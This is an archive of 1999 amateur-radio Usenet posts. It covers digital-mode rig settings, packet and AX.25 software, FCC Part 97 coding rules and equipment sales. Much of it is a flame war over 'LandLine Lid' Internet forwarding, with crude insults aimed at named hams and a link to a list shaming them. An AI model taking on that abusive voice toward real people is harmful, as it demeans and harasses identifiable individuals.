Quick idea ---> try tuning the radio 900 Hz BELOW the desired frequency and see if you can hear the signal you are trying to tune in. Try it on WWV so you have a steady carrier to work with. LET ME KNOW IF IT WORKS OUT THAT WAY. As soon as you can try it. (I'm assuming that you don't hear any signals on the frequency you expect to hear them.

I'm going to the Miami ham fest tomorrow and I will ask the ICOM guys about this since I want to do the same thing. It looks like WE may have to use the 455 filter. Except I need to slave some more 1st :(

I do not have a "telephone phobia", as you put it. I use the Internet just fine.

I also can differentiate between thew Internet and Ham Radio.

Maybe when you grow up, Dave, you can too! LandLine Lid.

721. Using FT-847 CW filters on PSK or RTTY

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-07 00:00:00 UTC
From: Michael Blake <k9jri@worldnet.att.net>
Message-ID: <79kjjc$fio@bgtnsc03.worldnet.att.net>
Source record: 19823

To use the CW filters in the FT-847 (Collins, DSP or both) you only need do the following:

Make sure your PSK (or RTTY) software is set up for 1,000Hz tone center frequency

On the FT-847 menu number 6 set the CW -PITCH to 1000
On the FT-847 menu number 10 set the CW-BPF to either 25, 100 or 200. 25 works fine!

Using USB enter into a PSK contact and after having tuned everything correctly you may engage the narrow selectivity by pressing (on the FT-847) A>B, Split, CW (make sure CW is USB not LSB) and you are there.

At this point you will be transmitting on the sub band dial and receiving on the main band dial. You may select the CW filter you want at this point, Collins or DSP, but do not touch the main tuning dial or you will move your recv and xmit apart. To return to normal press Split, SSB and you are back to normal operation.

You can use this scheme for any digital mode that you can bring within the center frequency range of menu number 6 (CW-PITCH). I have also used it on RTTY with the very fine sound card RTTY software BTL-154e.

I hope this helps - 73 - K9JRI - Mike

I'm so looking forward to that day, Chas. It'll be nice to drive, use a telephone, vote, serve in the military and the like. Do you think you could show me how the one issue type such as yourself formulates opinions? It'd be great to be able to take on guys with professional credentials and those with amateur radio experience far in excess of my own and to pooh-pooh their expertise and perhaps even call them names. I'll look you up. You are singular in your field.

I'm having some difficulty with my TH-D7, my position packet output is garbled. Call sign is fine, status text is fine. (I observe thru another station.) Position readout on the radio is correct both in GPS mode and manual input. Received signals are fine, and I get range and bearing to the other stations. Here's the catch, sometimes it is ok. My unproto has been the default "APK001", or "APRS", or "APRSW". I have tried several paths: "WIDE, WIDE", "RELAY, WIDE", etc. With "Relay, Wide", the beacon goes out and I receive a message on the TH-D7 "My packet". But observing the TNC data on another station shows my beacon with only the position part garbled.

Any input would be appreciated.
Thanks and 73's,
N9WIL

Most of the stations I connect to, have no interest in forwarding any Ham BBS stuff. It just isn't worth the effort.

95% of my activity is DX Cluster, and the other 5% is station to station connects for the purpose of talking, and some email.

We have people out in the Pan-Handle of Oklahoma who do not have internet unless they call long-distance. They want to communicate with their kids in college, or exchange email with their buddies.

We have an excellent node system that pretty much goes down I-40 from the Pan-Handle to OKC. It is a 1.2 kbps system, because that's what they have, and can afford. They are always trying to get new Hams involved, and extend the reach to all Hams in that area. I haven't met a Ham out there yet, who wants to read anything from the ALLUS echo.

The days of packet BBS have been over for at least 5 years. There is no activity other than professional salesmen who are hawking their old obsolete equipment, or showing you how to modify the radio by clipping a diode or wire, so you can transmit outside your allocation. It's just a wasteland.

There is no BBS, therefore, there is nothing to route around. There are a few BBS stations, but nothing you could call a network. Anyone with average intelligence has shut that system down and moved on with their hobby.

How is a BBS system full of illegal mods, and commercial sales going to improve emergency communications?

>Internet Forwarders (LandLine Lids) use telephone links to "route around"

The DGPS data input to a GPS receiver has to be preprocessed by the
beacon receiver (DBR) into the form expected. Essentially this is a sequence
of bytes the top two bits of which are an indicator (01), and the bottom
6 bits are the received & demodulated data. That data is bit-reversed
relative to what you might expect. The bits are framed into 30-bit words
to send the messages but the GPS receiver sorts all that out (though the
DBR may also do it for its own reasons).

Source record: 19830

A friend of mine was doing the 9600 baud mod on an Alinco DR-1200 data radio, then decided he wanted to 'un-mod' it back to 1200. In the process, surface mount capacitor C40 has been damaged. This is on the bottom board, just slightly left of the gold screw that holds down the right side of the board. If there's someone out there with a service manual for this rig who can look up the value of C40 and email that info to me, I would appreciate it very much. One end of this smd has lost that part which allows you to solder it to the board, and the radio does not send any data when transmitting.

Hi Len & John

Take a look at the ax25 packet driver from Pawel - extract from
the source (which is supplied). FCS and HDLC bit stuffing code
wonderfully crafted in assembler!!!

```
------------------------------------------------------------------------
;AX.25 packet driver for RS232 port by Pawel Jalocha
;version of 15th January 1993

;Free license for this software is herein granted for all radio _amateurs_
;Commercial usage in whole or part is prohibited.

;Questions may be addressed to:
; email: jalocha@chopin.ifj.edu.pl
; or jalocha@vxcern.cern.ch
; packet: SR9VRC@SP9ZDN.POL.EU (don't know whether it really works)
------------------------------------------------------------------------
```

I don't know if these addresses are still valid but an updated version
of the files is on my web site.

Hi all,

I have a (maybe stupid?) question. I've been looking at the AX.25 protocol several times over the last few years. I've looked at using TNOS.

For the last year or so I am very involved with Linux. It apparently supports AX.25 in some really interesting ways. I'd like to put my 'old' KPC-3 to some use again and connect the TNC to my Linux server. Now here are a couple of questions...

- What's out there for client software supporting AX.25?
- Is it possible to forward Email to PBBS mailboxes?

Best regards,
Adi - VA3ADI - adi@adis.on.ca

Six months or so ago, you were pointing out to Greg Jones that his "LandLine Lid manifesto" was exactly as I had described. Now you are trading sophomoric "witticisms" with the LandLine Lid crowd, when the same issue comes up again.

Sold out, huh? Well, it ain't pretty, but I guess it happens from time to time. Hope you feel you were "paid" well. Your integrity as a Ham is what you traded away.

Enjoy!

Now you can get the free use of a Secure Electronic Commerce Shopping Cart
and a free SSL Server Certificate. The shopping cart is one of the finest
on the market and includes the following features:

- Supports UPS ground (USA) shipping rate charts
- Product database search feature
- Supports Cybercash credit card transactions
- Ability to store order information in a secure file
- Supports Secure Transactions (SSL)
- Works with frames
- Automatic field validation
- Ability to mail the order to multiple email addresses
- Supports a percentage discount rate
- Supports multiple currencies
- Ability to stay on same page when item is purchased
- Ability to order more than one item at a time
- Receipt sent to customer
- Header and footer files can be included in the customer receipt
- Ability to accept and verify credit card numbers
- Eight different types of shipping supported
- Three shipping algorithms supported
- Ability to add in sales tax
- Ability to keep track of what the user has purchased from page to page,
even if they use the back button. (No cookies used)

This offer is valid only for customers who host web sites with our
clients. Call now to find out how to get your free Secure Electronic
Shopping Cart (970) 349-0796 (United States).

Thank you.

I suspect you haven't even given $5 to support your neighbors in
Ham radio.

What have you done that has made an impact on 100, 000 Hams? Where
can we go to see your name on an Honors list?

If you mean that operating packet radio on HF puts you ahead, I don't
think so. Even the Ham you say you respect (all one of them) has
abandoned the mode, and moved on in their hobby.

There is so much more to Ham digital, than AX.25 packet.

The object isn't radio purity. Nothing in Amateur Radio is designed for
purity. Where you got this idea is unknown. Where in the rules does it
mention purity? Who amongst your Ham friends told you radio purity
was a good thing?

They did you a disservice, and made you into a hateful and backwards
Ham. One that I'm sure is no fun to be around.

If you could state your case in technical terms, rather than emotional
name calling, you could maybe make a case. But by stomping your
feet a shacking your hands in a Grand-Mal temper tantrum, deserves
little respect.

748. Kantronics, Timewave with FlexNet - How

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-08 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <79mmfr$o4c@enews1.newsguy.com>
Source record: 19841

Some of the Packet equipment made in the US are proprietary designs, not compatible with equipment made by other manufacturers. Kantronics and Timewave (AEA) both still manufacture this kind of equipment which is good for beginners, but less useful for experienced Packet ops who want to use equipment with the widest compatibility possible.

Many experienced Packet ops enjoy working with with the latest advances in Packet Radio software design, where most of the real progress is currently being made. Proprietary TNC designs do not lend themselves well to this kind of experimentation.

To users of Kantronics and AEA equipment who are interested in experimenting with FlexNet, the following advice will serve you well, eliminating all problems with lack of compatibility:

Sell your proprietary equipment, then use the money to buy modern Packet modems or HDLC cards. If you must buy an old-style TNC in a box, specify TNC2 compatibility.

A Kantronics KPC3 cost roughly 100 bux. For the same money, you can buy TWO 1.2kb Packet modems from Tigertronics. - Or you can buy a TNC from MFJ or Pac-Comm which will have full TNC2 compatibility and be usable not only with FlexNet, but with just about everything else as well.

Don't allow yourself to be caged into a corner by old-style, proprietary Packet equipment. Sell it to somebody who doesn't care about being up to date.

That's what I did, years ago, and I have never found reason to regret that decision.

Body handling: Binary attachment payload not displayed: vcard.vcf

Geert, I believe that you need to connect the horizontal and vertical feedpoints of your crossed yagis with a 90 degree phase shifter. This would be a quarter wavelength (including velocity factor) of coaxial cable. You would then connect your feedline to one of the feedpoints. I am not sure which one (horizontal or vertical) would go to the feedline for right-hand circular polarization. You need to check a good book or a more experienced VHF/UHF ham. If you connect the feedline to the "wrong" antenna, you get left hand circular polarization instead of right-hand! This all assumes that the horizontal and vertical elements are coplanar, or very close together. If they are not you would have to compensate with the phase shifter. Hope this helps!

Well Hamish and Gary,
I think you should be trying MT63 anyway! My view of the rules
(fortunately tacitly if not officially agreed to by the ZL authorities)
is that so long as the mode and any coding used is public domain,
and the mode does not cause unnecessary interference, then go
for it!

If it wasn't for this attitude, new modes would never be tried.

I think that those who wish to try MT63 or other new modes
that are worried about official approval should simply seek
a specific temporary permit to test the mode.

See you on the air - PSK31, MT63, MT-Hell.... who knows what else?

I'm certainly in favor of trying new modes. The issue is the archaic
regulations under which we operate. It is those regulations which
inhibit experimentation. Now it is easy to say, "be a lawbreaker",
and ignore the rules, but IMHO that's a dangerous course. What
rule will you choose to ignore next when it becomes convenient
to do so?

I think the better course is to agitate to get the archaic regulations
changed so as to foster experimentation rather than to inhibit it.
That's why I've been noting that several of the new modes don't
fit with existing regulations. I don't want to inhibit the use of new
modes, just the opposite, I want to see regulatory relief so that
such experimentation can be as unfettered as possible.

Hello Ken:

Timewave Technology dies service and repairs for the PK-232. Check out
http://www.timewave.com for complete information.

A new manual runs $24.95, I can help a bit if you just need chapters 8 and on.

If you are running WIN95/98/NT download the demo version of PK TERM 99 from
the Timewave URL. The demo only runs VHF. If you like the software the program
runs $69.96 (Going to $79.95 shortly.

73

John Douglas
TimewaveTechnology

Check out the DSP upgrade for the PK-232/MBX at http://www.timewave.com

There are a number of them. Call, a splitscreen terminal and listen, a
channel monitor are pretty basic clients. There is a more sophisticated
terminal client called TNT.

>- Is it possible to forward Email to PBBS mailboxes?

JNOS, TNOS, XFBB will all do this.

Take a look at the AX25-HOWTO, available at
ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/AX25-HOWTO for some more ideas.

Great quote Kurt. It does fit the bill in this case with our friend Charlie.

If only Charlie's talent lay somewhere other than yelling about his point of view. As I posted a year or so ago, all his energy could have been put to some more constructive ends that might actually benefit the hobby.

What a waste.

Woops... Caught little Greggie-poo in another lie.

Hank Oredson W0RLI was also locked out of the TAPR SIGS for the same reason I was ... Hank did not go along with Greg's "Amateur Telephone" campaigne either. -- You know, the one Greg recently tried to weasel out of his involvement in?

Got any other obvious lies to shoot down, Greg? So far you are batting 1000; All lies which can easily be disproved by a quick glance at the record. Keep it up, boy, you're backing me up 100% so far, and I really do appreciate it.

I suppose the main difference is that I do not attack anyone's character. I do, however, point out those who lack character and try to pretend otherwise. You are a good example of that.

You, as a LandLine Lid, "attacked" you own character with your actions and words. Nobody held a gun to your head and forced you to be a LandLine Lid.

You've only yourself to blame for being the Lid you are Greg. Don't try to lay the blame on me, simply because I have pointed out some of your statements and then caught you out when you tried to lie about them.

If you hadn't been a liar to start with, I never could have caught you at it, could I?

Hi all -
Im moving to Kantronics TNC's and am moving out of AEA. and hence am selling them.
Prices include ups ground shipping .

AEA PK-232MBX:
Release 13.SEP.95 Ver. 7.1
S/N: M08815
Excellent condition. with 2 radio cables. one unused and the other is wired for the 13 pin acc2 on Kenwood.and of course the manual. I am packaging this with AEA's PCPacRatt for windows versions 3.X/95/98. This is a easy to use mutimode terminal program based in point and click. Also I am including LogWindows, AEA's Logging program. It work with or without PCPacRatt and most any callbook CD. Make for a nice contest package. All the software has the manuals, disks (3.5 HD) and orig. boxes.
$195.00 shipped

AEA PK-88 with mailbox. in great condition with the manual
$70.00 shipped

AEA PK-90 with manual.
$55.00 shipped.

Thanks for peeking at this.

Please read closer Charile.

I said "is the only person locked out of using the TAPR lists." Hank isn't locked out anymore. Just you.

The list management team reviewed the list when we moved servers and you were the only person that remained on the lockout list.
Feel special Charile.

Just the truth Charile my good friend.

Cheers - Greg

ROTFL... Yeah... Right... You made a few pretty good character attacks
at me Chuckles... (and as there seems to be a general consensus around here
locally that Im quite a character, I don't seem to actually BE lacking
character...) It's amazing to me that you can determine the "level" of
character that someone possesses by interacting with them via a SINGLE
post over what I'd consider to be a rather dry medium... Your character
quantifying methods say rather pathetic things about YOUR character
Chuck-o...

: You, as a LandLine Lid, "attacked" you own character with your actions and
: words. Nobody held a gun to your head and forced you to be a LandLine Lid.

Would someone tell me...

1) What a "LandLine Lid" is?
2) Why being a "LandLine Lid" is a *BAD* thing?
3) Why anyone would CARE?

: You've only yourself to blame for being the Lid you are Greg. Don't try to
: lay the blame on me, simply because I have pointed out some of your

Gee, I'm not the weaseling liar, Greg, you are.
I'm not the LandLine Lid, either, or a geek.

It's awfully big of you to feel sorry for me, considering the handicaps you struggle under every day.

>
>The more you post on here and on packet the more you just shoot
>yourself in the foot as someone people might listen to or
>respect on the issues.

I'm sorry, Greg, you must be under the impression that I care, one way or another, about the opinion of you or your LandLine Lid buddies. Real Hams have encouraged me to continue my work to eliminate "Amateur Telephone" on many occasions, and clueless Lids such as yourself have tried to undercut me just as they have undercut their fellow Hams. I take both reactions as a good sign that yes, I am on the right track.

You can crawl back under your rock now, Greg.

>
>I think I'll go back to working on projects that advance the
>radio art as I see it.

Good idea, Greg. See how many more Hams you can discourage and undercut.

I'll be there you see to it that you don't get away with it, LandLine Lid scum.

>Would someone tell me...
>
>1) What a "LandLine Lid" is?

An Internet whore who tries to undercut efforts by Amateur Radio operators
to use Radio, normally by substituting Amateur Radio links with Internet
connections.

>2) Why being a "LandLine Lid" is a *BAD* thing?

Because it undercuts efforts by Amateur Radio operators to use Radio to
communicate. - But you don't see anything wrong with that, do you?

>3) Why anyone would CARE?

That's the problem. You don't care, or you never would have been a sucker
for "Amateur Telephone".

Hams care because they would like to go back to building a network utilizing
Amateur Radio. - But you wouldn't be able to understand a concept like
that. - Hams using Radio.

>
>: You've only yourself to blame for being the Lid you are Greg. Don't try

>you... (Recall your rather sudden disappearance when you stuck your foot
>in your mouth all the way to your rectum about a month ago with respect
>to your lack of knowledge about "Open Development"?? Hmmmmm?)

If you didn't see any lies, you were simply not looking.

By the way, I won the debate over open development when I demonstrated that no open development software is competitive with Amateur Radio software written by competent individuals and small groups. You couldn't come with anything, and lost out. - But as a LandLine Lid, you were too stupid to know it.

I'd still like to see ANY software written expressly for Hams via open development which can approach the utility and sophistication of the great programs we have which were written by individuals and small groups.

Try using FlexNet as something to shoot for. - The most sophisticated and functional Amateur Packet Radio networking softwarte on the planet, bar none.

I thought that several of us could use a reminder of what this thread is about:

Ed Hare, W1RFI wrote in message <36B234E1.1427@arrl.net>...

>snip<
>I propose:
>
>A real ham is someone who has been issued an FCC license under the
>provisions of Part 97, who operates his or her station within the
>provisions of Part 97 in a manner that is respectful of the rights of
>other real hams to do the same.

That sounds reasonable to me.

How you can put forward the statement above and show such tolerance for the activities of "Internet Forwarders" on the Packet Radio network is beyond me, though.

Internet Forwarders (LandLine Lids) use telephone links to "route around" Hams who are trying to communicate by Ham Radio, depriving those stations of the traffic they are intended to carry. This, in turn, leads to those SYSOPs losing heart and shutting down. Hundreds of great Hams have been shut out this way by LandLine Lids, both on HF and in VHF/UHF networks.

Wherever Hams attempt move information digitally, including Packet, PACTOR, AMSAT, CLOVER, you name it, a LandLine Lid will come along with his telephone connections to "route around" those Hams and deprive them of traffic.

JUST IN CASE:

Just in case a reader here has trouble understanding how "routing around" occurs:

RealHam has Amateur Packet Radio traffic to move on 40 meters. (Mode does not matter) -- But a local LandLine Lid cleverly moves that traffic over his Non-Ham connection, which of course is much faster. So when RealHam connects to the distant station and attempts to forward the messages, he is told that they are already there. So the Real Ham is left with nothing to do. - Because of the actions of a Lid with a telephone.

LandLine Lids have used this routine to systematically shut down most of the USA Packet Radio forwarding network. To see precisely WHICH hams have been doing this, see the LandLne Lid List at:

http://www.texoma.net/~n5pvl/llllist.htm

These persons are not, by your definition, "Real Hams" because they are not "respectful of the rights of
other real hams to do the same." Right?

To see a couple of alleged "Leaders" of the US Packet Radio network who also do not make the grade as Hams according to your definition, see:

http://www.texoma.net/~n5pvl/mal.htm

Tell us, Ed; Are YOU respectful of the rights of Hams to use Radio? If so, how can you justify the actions of LandLine Lids who have caused hundreds of fine Hams to lose heart in what they are doing?

No disrespect intended here, but don't you think it's about time the ARRL woke up and smelled the coffee Re: this issue? The US Packet net has undergone serious degeneration due to this problem, and I have not seen any effort being made to look into the problem and correct it.

Hams in Europe have regs which protect them from LandLine Lids; Why don't we?

Hams in Europe have seen their Packet Net grow and advance while the US net has almost completely died away.

Wake up and smell the coffee.

"Deprive them of traffic"; that would seem to be the real, somewhat
self-serving concern here.

How is this any different than the problem "real ham" CW and phone
operators have had in recent years with "PacketLids" (to use
Brabham-speak) routing traffic around their nets by using their computers
to do their work for them. I think this is no more ludicrous a point of
view than is yours. One could just as easily observe that a computer is no
more of a radio than is a telephone line.

Yours is a self-centered, hair splitting point of view Mr. Brabham. Your
indignance and insulting tone is unbecoming a spirited and enthusiastic
radio amateur. Any legal means hams utilize to perform their service is a
valid one. How do you think traffic is supposed to be delivered to
non-hams? By carrier pidgeon?

Simply because no one wants to use your packet node anymore is no excuse
for your foul attitude and adolescent namecalling. Please keep it to
yourself because by any measure, it is virtually a non-issue.

Well Gary, in general I agree with you. The US laws are really something else.

BTW, I was not advocating breaking the law. In my previous message I suggested applying for a special experimental permit (I am sure such things exist there), as a way of getting on the air.

Here things are more relaxed, and the special permit can often be (in my experience) nothing more than "well, we've noted your callsign, so you just go ahead - let us know how you get on - if there's any trouble we'll let you know!"

Long term, I acknowledge that the silly rules do need to be changed, but unfortunately, even with the most vigorous lobbying, that won't be overnight.

I've been trying to help someone get a PK232 with 1987 "Rev E" firmware into KISS mode. From what he is saying, it seems very reluctant to play!

I can remember reading comments in the past about the implementation of KISS in pre-1988 PK232s having some problems, so can anyone tell me if it is possible to run this version of firmware in KISS mode? If it is, are any special commands needed?

Gee, what an ignorant statement to make... Did you stay up all night
thinking that one up, James?

Yes, I am one of the many Hams who have been routed around by Land Line
Lids. I live in Texas, remember, Greg Jones' home state. Lots of "Amateur
Teklephone" operators here.

Leave it to a LandLine Lid to label me "self-serving" when I speak up for
Hams who are being edged out by Lids with telephones.

Stupid bastard.

>more of a radio than is a telephone line.

I think you are pretty damn stupid, and your paragraph above strongly
supports that theory.

The subject under discussion is the Lids who use telephone (Internet) links
to route around genuine Hams trying to communicate by Radio.

Just what exactly do you have against Hams using Radio, James?

>
>Yours is a self-centered, hair splitting point of view Mr. Brabham. Your

Packet BBS's are not "non-Hams", stupid.

The difference between Hams being allowed to use Radio or not is not "hair splitting", you ignorant jerk.

Stop insulting my intelligence with these moronic rationalizations and excuses. If you don't have a point to make, why not be a man about it and... Oh I forgot, you're not a Man, you're a LandLine Lid.

>
>Simply because no one wants to use your packet node anymore is no excuse

It's amazing that I have posted the same information twice, and have yet to hear one cogent argument against anything I said there. Plenty of character attacks from the LandLine Lid crowd, and even from a trolling non-Ham, but not a word of actual argument from knowledgeable Hams about what I had to say.

Greg Jones' response to having his behavior pointed out was to crawfish. He tried to weasel around, in order to avoid association with the "Amateur Telephone" stuff he has regularly preached at Ham-Fests and Digital Conferences for years.

Greg's crawfish act was kinda pathetic. Preach "Amateur Telephone" in front of thousands of Hams for years, print it so that hundreds more can read all about it, then deny being involved with it.

Does this mean that Greg now recognizes that "Amateur Telephone" is damaging to the US packet net and should really be discouraged?
Why else would Greg bother to "weasel" if he really believed that "Amateur Telephone" was a good thing for Hams?

The thinking behind it was flawed, the critical mass never appeared, and meanwhile the existing US packet net built by hundreds of fine hams was systematically denigrated and undercut by "Amateur Telephone" devotees who listened to and believed what Greg had to say about the uselessness of the packet net and of how silly it is for Hams to communicate by Radio.
In the end, his efforts served to discourage and undercut Amateur Packet Radio networking in the USA. He regularly took the heart out of Hams who wanted to communicate by Radio, and did more than any single person to bring the US packet net to it's present sorry state.

Amateur tcpip devotees in the US will have a long, hard road living down the behavior which led to "Internet Forwarding", and the systematic destruction of Amateur Packet Radio in the US for dubious "political" reasons connected with the mindless promotion of Amateur tcpip above all else, even Amateur Radio itself.

Once again:

Ed Hare, W1RFI wrote in message <36B234E1.1427@arrl.net>...

>snip<
>I propose:
>
>A real ham is someone who has been issued an FCC license under the

>provisions of Part 97, who operates his or her station within the
>provisions of Part 97 in a manner that is respectful of the rights of
>other real hams to do the same.

That sounds reasonable to me.

How you can put forward the statement above and show such tolerance for the activities of "Internet Forwarders" on the Packet Radio network is beyond me, though.

Internet Forwarders (LandLine Lids) use telephone links to "route around" Hams who are trying to communicate by Ham Radio, depriving those stations of the traffic they are intended to carry. This, in turn, leads to those SYSOPs losing heart and shutting down. Hundreds of great Hams have been shut out this way by LandLine Lids, both on HF and in VHF/UHF networks.

Wherever Hams attempt move information digitally, including Packet, PACTOR, AMSAT, CLOVER, you name it, a LandLine Lid will come along with his telephone connections to "route around" those Hams and deprive them of traffic.

JUST IN CASE:

Just in case a reader here has trouble understanding how "routing around" occurs:

RealHam has Amateur Packet Radio traffic to move on 40 meters. (Mode does not matter) -- But a local LandLine Lid cleverly moves that traffic over his Non-Ham connection, which of course is much faster. So when RealHam connects to the distant station and attempts to forward the messages, he is told that they are already there. So the Real Ham is left with nothing to do. - Because of the actions of a Lid with a telephone.

LandLine Lids have used this routine to systematically shut down most of the USA Packet Radio forwarding network. To see precisely WHICH hams have been doing this, see the LandLne Lid List at:

http://www.texoma.net/~n5pvl/llllist.htm

These persons are not, by your definition, "Real Hams" because they are not "respectful of the rights of
other real hams to do the same." Right?

To see a couple of alleged "Leaders" of the US Packet Radio network who also do not make the grade as Hams according to your definition, see:

http://www.texoma.net/~n5pvl/mal.htm

Tell us, Ed; Are YOU respectful of the rights of Hams to use Radio? If so, how can you justify the actions of LandLine Lids who have caused hundreds of fine Hams to lose heart in what they are doing?

No disrespect intended here, but don't you think it's about time the ARRL woke up and smelled the coffee Re: this issue? The US Packet net has undergone serious degeneration due to this problem, and I have not seen any

effort being made to look into the problem and correct it.

Hams in Europe have regs which protect them from LandLine Lids; Why don't we?

Hams in Europe have seen their Packet Net grow and advance while the US net has almost completely died away.

Wake up and smell the coffee.

Well Charles, all I would have to say is that in an alleged free country,
hams should be allowed to connect their rigs to anything as long as they
retain their non-commercial status. American hams are free to do that.
European hams are not free to do that. That means American hams possess
more freedom than European hams. The United States was founded on having
more personal freedoms than European nations. You seem to be advocating
less freedom and, as a Libertarian, I would have to stand in opposition.

Charles Brabham <n5pvl@texoma.net> wrote:

>Just what exactly do you have against Hams using Radio, James?

What I have a problem with is people on the internet giving ham radio a black eye. That is what you are doing. However, mostly what you are doing is discrediting yourself, and because most people would consider the source, the problem is to a large extent self-mitigating.

>>Any legal means hams utilize to perform their service is a
>>valid one. How do you think traffic is supposed to be delivered to
>>non-hams? By carrier pidgeon?

>Packet BBS's are not "non-Hams", stupid.

The stateside destinations for much of the Army and Marine Corps MARS traffic are wives and family members. They are non-hams - not packet BBSs. The messages are usually delivered to them via telephone by ham radio operators. Delivering messages is the purpose of message forwarding, is it not? The telephone has been an important part of the radiogram service since the end of World War II.

From your response I gather only that you either do not participate in NTS traffic handling, or are unaware of the nature of the traffic you forward.

It is evident that, for you, the means of message forwarding is the object of message forwarding. But I think you will find that when something does not work well, amateur radio operators will strive to find a better means by which to provide their service.

I am not completely unsypathetic to the issue you raise Charles. I simply find the methods you employ to state your case to be un-called for and deplorable. You will not recruit sympathisers to your cause by labeling everyone with your non-sensical ephiphet. So far, you have a perfect record in so labeling those with whom you have corresponded on r.r.a.p. - whether they participate in packet message forwarding, or not.

>>Simply because no one wants to use your packet node anymore is no excuse
>>for your foul attitude and adolescent namecalling. Please keep it to
>>yourself because by any measure, it is virtually a non-issue.

>Actually my packet node sees regular use.

So then what IS your excuse for your foul attitude and adolescent namecalling?

The text I included from your post includes the bulk of the cogent thought you provided - it was pretty slim pickin's. There simply was not much dialog worthy of a response.

> different telegraphic alphabets (the Huffman compressed string isn't an
> alphabet).

In the specification published in "Technical Descriptions, Clover, G-TOR, PACTOR, PACTOR II" the Pactor Huffman compression is character-by-character, not by strings. The algorithm that creates Huffman compression will create a specific sequence, ranging from 2 to 15 bits, but it is based on the frequency of occurrence of the object being encoded, which could be ascii, text strings or any other object. That is probably accomplished via a lookup table, as published in the

spec in most programs because there is no relationship between the ascii bits and the Huffman encoding. If it is based on the frequency of occurrence, Huffman encoding COULD be different between one human language and another, although in the case of PACTOR, the relationship between ascii and the Huffman codes is fixed in the specification.

> With PSK31, the transmitted text is actually varicode. That's its native
> *telegraphic alphabet*. No ASCII need ever be involved. It is possible
> (even likely given today's dominance of ASCII for text representation
> in computer programs) that a program may internally represent its

> way to assure that it does based on what is sent over the air.

You are right, no ascii need be involved, but, as publically documented, there is a 1:1 relationship between what is sent and one of the "legal" codes, so, on that basis, it can be used on HF.

> Interesting. If that interpretation is true, then anything goes. I can convert
> anything to ASCII internally, then convert it to anything else before transmission.
> It's just bits internal to the computer. For example, if I wanted to convey the binary

> convert it to an ASCII representation internally, and then convert it to some
> other coding before transmission.

> If that's what 97.309(a) means, then it means nothing at all. We can use any
> arbitrary coding, as long as we represent it as ASCII internally at some point.
> I don't think that's what 97.309(a) means, and it is certainly not what it says.
> If it did mean that, then why is there a 97.309(b) for unspecified codes?

I got sucked into the same trap, Gary, and came to the same conclusion. The keywords in 97.309(b) are "Where authorized by 97.305(c) and 97.307(f)..." Those sections, by virtue of note 5, permit *unspecified* digital codes only on 50 MHz and above. Oh HF, the notes that apply are notes 3 and 4, which limit hams to the codes in 97.309(a). The section under which PACTOR and PSK31 are authorized is 97.309(a)(4), by virtue of the public documentation.

The rules are not really written very well, but the intent is that, on HF, the FCC intends that amateurs transmit plain text. That is why we have the limitation on permitted codes that are plain-text in nature and the requirement for a publically document one-to-one relationship between other codes and a permitted code. On VHF and higher, amateurs can use essentially any digital code, under some circumstances.

This begs a few questions. First, should amateur radio be limited to plain text on HF? IMHO, we should not. Some hams have been doing "digital" transmissions on HF and I do not see that the FCC has really cared. What about UUENCODING and other methods of transmitting digital information using plain-text codes? I quite honestly don't know how the FCC would react to those, but I could see it go either way.

But other than the "plain text" requirement, yes; virtually anything
goes, as long as the <encoding> method has been publically documented,
and "publically documented" could be subject to intepretation. To meet
the letter of the law, ARRL published the technical descriptions. Would
a ham posting them on his or her personal web page meet the
requirement?
Probably.

> Now I'll tell you what I think the FCC *meant* to say in the 1995 revision.
> What I think they meant to say was that we could use any publicly documented
> transmission coding under 97.309(a)(4), and that codings which aren't publicly
> documented would fall under 97.309(b). That makes sense, and is consistent
> with the intent expressed in the docket, but it isn't what the Part 97 language
> *says*. It says the information coding must be in one of the three specified
> telegraphic alphabets, and varicode isn't one of them.

Yes, to part one,but with the further provision that 97.309(b) limits
"unspecified digital codes" to frequencies above 50 MHz. No to Part 2,
varicode is as much one of the specified alphabets as is Pactor, with
its similar 1:1 relationship between ASCII and the transmitted code.
There may be Huffman encoding that works on text strings, but Pactor
does not use that particular algorithm; it uses a lookup table between
ascii ordered by frequency of useage.

I applaud the FCC for having permitted this relaxation of previously
onerous requirements. Maybe we can see a similar relaxation of SS any
time now. I have a few Part 15 devices I would like to use under Part
97. :-)

Charles Brabham (n5pvl@texoma.net) wrote:

: It's amazing that I have posted the same information twice, and have yet to
: hear one cogent argument against anything I said there. Plenty of character
: attacks from the LandLine Lid crowd, and even from a trolling non-Ham, but
: not a word of actual argument from knowledgeable Hams about what I had to
: say.

1) Please go to rtfm.mit.edu, Charles... Find the Netquette FAQ...
Read it... Carefully... Trolling... It's defined... What *YOU*
are doing fits the definition quite handily...

2) What information... Perhaps if you posted something that vaguely
resembled "information", then someone would find it useful
to bother to *MAKE* the argument you so dutifully seem to be
looking for...

: Greg Jones' response to having his behavior pointed out was to crawfish. He
: tried to weasel around, in order to avoid association with the "Amateur
: Telephone" stuff he has regularly preached at Ham-Fests and Digital
: Conferences for years.

Kinda looked to me as if he simply shot you down... You've got a real
problem with discerning reality Charles... If I were you, I'd talk to
the doctor about adjusting your meds...

: Greg's crawfish act was kinda pathetic. Preach "Amateur Telephone" in front
: of thousands of Hams for years, print it so that hundreds more can read all
: about it, then deny being involved with it.

I didn't see him DENY anything... Can you point me to references where
Greg preached "Amateur Telephone"... Also, can you point me to references
that delineate the Global Amateur Packet Network prior to it's destruction
by the "Landline Lids"? I'd like to see first hand the damage you
claim has been done...

: Does this mean that Greg now recognizes that "Amateur Telephone" is damaging
: to the US packet net and should really be discouraged?
: Why else would Greg bother to "weasel" if he really believed that "Amateur
: Telephone" was a good thing for Hams?

Again... Do you have a reference that indicates the following:

1) The characteristics of the US Packet Net, prior to it's alleged
destruction...

2) The date (roughly) that this "destruction" became relevant in your opinion...

3) The current characteristics of the US Packet Net...

: The thinking behind it was flawed, the critical mass never appeared, and
: meanwhile the existing US packet net built by hundreds of fine hams was
: systematically denigrated and undercut by "Amateur Telephone" devotees who
: listened to and believed what Greg had to say about the uselessness of the
: packet net and of how silly it is for Hams to communicate by Radio.
: In the end, his efforts served to discourage and undercut Amateur Packet
: Radio networking in the USA. He regularly took the heart out of Hams who
: wanted to communicate by Radio, and did more than any single person to bring
: the US packet net to it's present sorry state.

References please... You make mention of a "sorry state"... Kindly quantify this...

: Amateur tcpip devotees in the US will have a long, hard road living down the
: behavior which led to "Internet Forwarding", and the systematic destruction
